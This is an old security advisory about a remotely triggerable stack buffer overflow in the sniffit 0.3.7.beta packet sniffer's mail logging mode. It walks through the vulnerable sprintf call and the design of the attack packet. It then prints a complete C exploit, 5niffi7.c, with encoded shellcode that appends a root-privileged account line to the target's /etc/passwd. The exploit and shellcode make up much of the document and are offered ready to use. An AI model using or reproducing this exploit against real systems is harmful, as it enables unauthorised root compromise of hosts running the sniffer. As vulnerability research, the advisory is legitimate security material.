COMMAND
sniffit
SYSTEMS AFFECTED
sniffit
PROBLEM
Michel Kaempf found following. Sniffit is a packet sniffer,
written by Brecht Claerhout. The latest stable version (0.3.5 -
last update : 04/1997) and the latest development version
(0.3.7.beta - last update : 07/1998) can be found here:
http://reptile.rug.ac.be/~coder/sniffit/sniffit.html
As a Debian GNU/Linux user, Michel worked on sniffit 0.3.7.beta,
packaged by Edward Betts and available for Debian 2.2
(sniffit_0.3.7.beta-6.deb).
Sniffit can be used as a monitoring tool, and different logging
modes (logparam) can be enabled, using the `-L logparam' switch.
When using `-L mail', sniffit tries to dump the source and the
destination of every mail logged. Thus, if mail server
XXX.XXX.XXX.XXX runs `sniffit -L mail' along with a configuration
file which makes sniffit log every incoming and outgoing TCP
packet, and if attacker YYY.YYY.YYY.YYY sends to XXX.XXX.XXX.XXX's
port 25 a TCP packet which contains the line "mail from:" :
> % telnet XXX.XXX.XXX.XXX 25
> Trying XXX.XXX.XXX.XXX...
> Connected to XXX.XXX.XXX.XXX
> Escape character is '^]'.
> 220 XXX.XXX.XXX.XXX ESMTP Postfix
> mail from: foobar
> 250 Ok
> quit
> 221 Bye
The sniffit session running on XXX.XXX.XXX.XXX will log the
following line in its logfile:
> [Thu May 25 13:22:17 2000] - YYY.YYY.YYY.YYY.1271-XXX.XXX.XXX.XXX.25: mail [mail from: foobar]
Time to figure out the steps followed by sniffit before logging
this line:
1/ `sniffit.0.3.7.c':
=====================
[snip]
> if ((finish < 10) && (LOGPARAM != 0)) /* TCP packet - logfile */
> /* This mode will grow, so I just copied the other if() */
> /* instead of adding a dumpmode, I think this will keep */
> /* things more simpel. Also I use the smart dynam */
> /* managment of connections */
> {
> if( (finish!=TCP_EX_FRAG_HEAD)&&(finish!=TCP_EX_FRAG_NF) )
> { /* no FRAG handling in logfile mode yet */
> #include "sn_analyse.c" /* dirty, but it got too confusing */
> }
> }
[snip]
Sniffit now jumps to `sn_analyse.c' which analyses the traffic for
logging mode.
2/ `sn_analyse.c':
==================
[snip]
> /*** MAIL ******************************************************************/
> if(LOGPARAM & LOGPARAM_MAIL) /* loglevel 12 */
> {
Sniffit enters this section because it runs using the `-L mail'
switch.
[snip]
> if( (ntohs(tcphead.destination) == 25) ) /* to MAIL */
> {
> if(info.DATA_len!=0)
> {
> char workbuf1[MTU];
> char *wb_dummy;
YYY.YYY.YYY.YYY sent a TCP packet to port 25, and this packet's
payload contained data, that's why sniffit now enters this
section. `workbuf1' contains MTU characters, and MTU == 5000
(defined in `sn_config.h').
> strncpy(workbuf1,data,info.DATA_len);
> workbuf1[info.DATA_len]=0;
Sniffit copies the TCP packet's payload into `workbuf1'. But why
use `info.DATA_len' in `strncpy', when `info.DATA_len' depends on
the TCP packet logged by sniffit, and when the destination buffer
`workbuf1' can only contain 5000 characters? No idea, but the
buffer overflow does not occur here, because the size of a single
TCP packet is usually limited by the operating system. The
default on Linux systems is 1500 characters (`ifconfig' shows
`MTU:1500').
> strlower(workbuf1);
Here, sniffit applies a filter function to the data contained in
`workbuf1' (the TCP packet's payload), which converts every upper
character (A, B, ..., Z) to the corresponding lower character (a,
b, ..., z).
> if(strstr(workbuf1,"mail from")!=NULL)
> {
> char workbuf2[MTU];
Again, sniffit enters this section when analysing
YYY.YYY.YYY.YYY's TCP packet.
> strcpy(workbuf2, strstr(workbuf1,"mail from"));
Another odd `strcpy'. Again, this one is not correct, but the
overflow does not occur here, because sniffit's MTU == 5000 and
the operating system's MTU is usually much smaller.
[snip]
> print_mail(filename,workbuf2);
Sniffit calls the `print_mail' function, contained in
`sn_logfile.c', used to log informations into sniffit's logfile.
3/ `sn_logfile.c':
==================
> void print_mail (char *conn, char *msg)
> {
> char line[250];
> sprintf(line,"%s: mail [%s]",conn,msg);
> print_logline (line);
> }
Haha, bingo. Here is the buffer we will overflow. Sniffit first
writes the string `conn' into the `line' buffer, which corresponds
to "YYY.YYY.YYY.YYY.1271-XXX.XXX.XXX.XXX.25" in our example. Then
sniffit writes the string ": mail [" into `line', and eventually
writes the string `msg' into `line'. `msg' contains the TCP
packet's payload, beginning at "mail from".
Before writing an exploit, we should summarize the important
steps in the previous overflow description :
1/ sniffit allocates a 5000 characters buffer (`workbuf1') on
the top of the stack and stores the TCP packet's payload
into it;
2/ the data contained in `workbuf1' is filtered by `strlower';
3/ sniffit allocates another 5000 characters buffer
(`workbuf2') on the top of the stack and stores data into
it, beginning with the string "mail from";
4/ sniffit calls the `print_mail' function ;
5/ sniffit allocates a 250 characters buffer (`line') on the
top of the stack and write the `conn' string, the ": mail
[" and the `msg' strings into it.
All we have to do in order to exploit this buffer overflow:
1/ send a TCP packet to the port 25 of the logging host (or a
packet going through the logging host, if this host is a
firewall or a gateway) beginning with the string "mail
from: ";
2/ make sure this packet is well padded because the position
of the return address in the packet depends on the IP
adresses and ports used (otherwise we will overwrite EIP on
the stack with an invalid return value);
3/ make sure our packet does not exceed our operating system's
MTU (1500 characters on Linux boxes);
4/ make sure our shellcode and our return address do not
contain any upper characters (0x41-0x5a) or `\n' (0x0a) or
`\r' (0x0d) characters.
Our TCP packet will look like this:
-------------------------------------------------------------------
| "mail from: " | AAAAAA...AAAAAA | RET | NOPs...NOPs | ShellCode |
-------------------------------------------------------------------
The main problem Michel had when writing the Debian 2.2 exploit
is that the address of the beginning of the `line' buffer
contained an upper character... and it was NOT the LSB byte.
But remember... sniffit copies our TCP packet's payload in
`workbuf2' and in `workbuf1', which should be located on the
stack something like 2 * 5000 == 10000 bytes before `line' (and
in the memory 10000 bytes AFTER `line'). Nice. The return
address of the exploit will point to `workbuf1' and not to `line',
like in an ordinary exploit.
The second problem is not Debian specific: the shellcode should
not contain any upper character. Michel wrote the shellcode like
usual, but added 0x1a to every upper character in the shellcode,
in order to translate the characters range 0x41-0x5a to 0x5b-0x74.
Then, the first thing the shellcode will do when executed on the
target computer, is to substract 0x1a to every character where
0x1a was added, in order to restore the original shellcode.
The exploit below simply adds the line
r00t:36msvq8vbkg5k:0:0:r00t:/:/bin/sh
to the `/etc/passwd' file of the target computer. Cracking
r00t's password should not be too hard.
/*
* 5niffi7.c - exploiting sniffit 0.3.7.beta for Debian 2.2
* Copyright (C) 2000 Michel "MaXX" Kaempf <maxx@via.ecp.fr>
*
* When a running sniffit session logs the packet sent by 5niffi7,
* the following shellcode is executed. This shellcode adds the
* line "r00t:36msvq8vbkg5k:0:0:r00t:/:/bin/sh" to /etc/passwd.
* Cracking r00t's password should not be too hard :-)
*
* 5niffi7.c is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*/
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define FROM "mail from: "
#define RET 0xbfff6b5b
char shellcode[] =
"\xeb\x5b\x90\x90\x90\x90\x90\x90"
"\x90\x90\x5e\x80\x6e\xd9\x1a\x80"
"\x6e\xdd\x1a\x80\x6e\xd7\x1a\x80"
"\x6e\xc4\x1a\x80\x6e\xe4\x1a\x90"
"\x90\x90\x90\x31\xc0\x88\x60\x0b"
"\xb0\x05\x89\xf3\x31\xc9\x66\xb9"
"\x01\x04\x31\xd2\xcd\x80\x89\xc7"
"\xc6\x60\x31\x24\x31\xc0\x88\x60"
"\x32\xb0\x04\x89\xfb\x8d\x68\x0c"
"\x31\xd2\xb2\x26\xcd\x80\x31\xc0"
"\xb0\x06\x89\xfb\xcd\x80\x31\xdb"
"\x89\xd8\x40\xcd\x80\xe8\xa8\xff"
"\xff\xff\x2f\x65\x74\x63\x2f\x70"
"\x61\x73\x73\x77\x64\x78\x72\x30"
"\x30\x74\x3a\x33\x36\x6d\x73\x76"
"\x71\x38\x76\x62\x6b\x67\x35\x6b"
"\x3a\x30\x3a\x30\x3a\x72\x30\x30"
"\x74\x3a\x2f\x3a\x2f\x62\x69\x6e"
"\x2f\x73\x68\x78\x78";
int main( int argc, char * argv[] )
{
int sock_client;
struct sockaddr_in addr_server, addr_client;
int i, j;
char * ip_src, * ip_dst;
char conn[ 256 ], msg[ 1500 ];
if ( argc != 2 )
{
fprintf( stderr, "Usage: %s IP\n", argv[0] );
exit( -1 );
}
if ( (sock_client = socket(PF_INET, SOCK_STREAM, 0)) < 0 )
{
exit( -1 );
}
bzero( (void *)&addr_server, sizeof(struct sockaddr_in) );
addr_server.sin_family = AF_INET;
addr_server.sin_port = htons( 25 );
inet_aton( argv[1], &addr_server.sin_addr );
if ( connect(sock_client, (struct sockaddr *)&addr_server, sizeof(struct sockaddr_in)) < 0 )
{
exit( -1 );
}
i = sizeof( struct sockaddr );
getsockname( sock_client, (struct sockaddr *)&addr_client, &i );
ip_src = strdup( inet_ntoa(addr_client.sin_addr) );
ip_dst = strdup( inet_ntoa(addr_server.sin_addr) );
snprintf( conn, sizeof(conn), "%s.%u-%s.%u", ip_src, ntohs(addr_client.sin_port), ip_dst, ntohs(addr_server.sin_port) );
free( ip_src );
free( ip_dst );
bzero( msg, sizeof(msg) );
i = 0;
for ( j = 0; j < strlen(FROM); i++, j++ )
{
msg[ i ] = FROM[ j ];
}
for ( j = 0; j < 256 - strlen(conn) - strlen(": mail [") - strlen(FROM); i++, j++ )
{
msg[ i ] = 'A';
}
*((unsigned long *)(&(msg[i]))) = RET;
i += 4;
for ( j = 0; j < 1024; i++, j++ )
{
msg[ i ] = 0x90;
}
for ( j = 0; j < strlen(shellcode); i++, j++ )
{
msg[ i ] = shellcode[ j ];
}
if ( write(sock_client, msg, strlen(msg)) < 0 )
{
exit( -1 );
}
close( sock_client );
exit( 0 );
}
SOLUTION
Other vulnerabilities exist in sniffit. This is old news. It is
recommend using snort written by Martin Roesch which is much more
robust and flexible (and up-to-date, and maintained).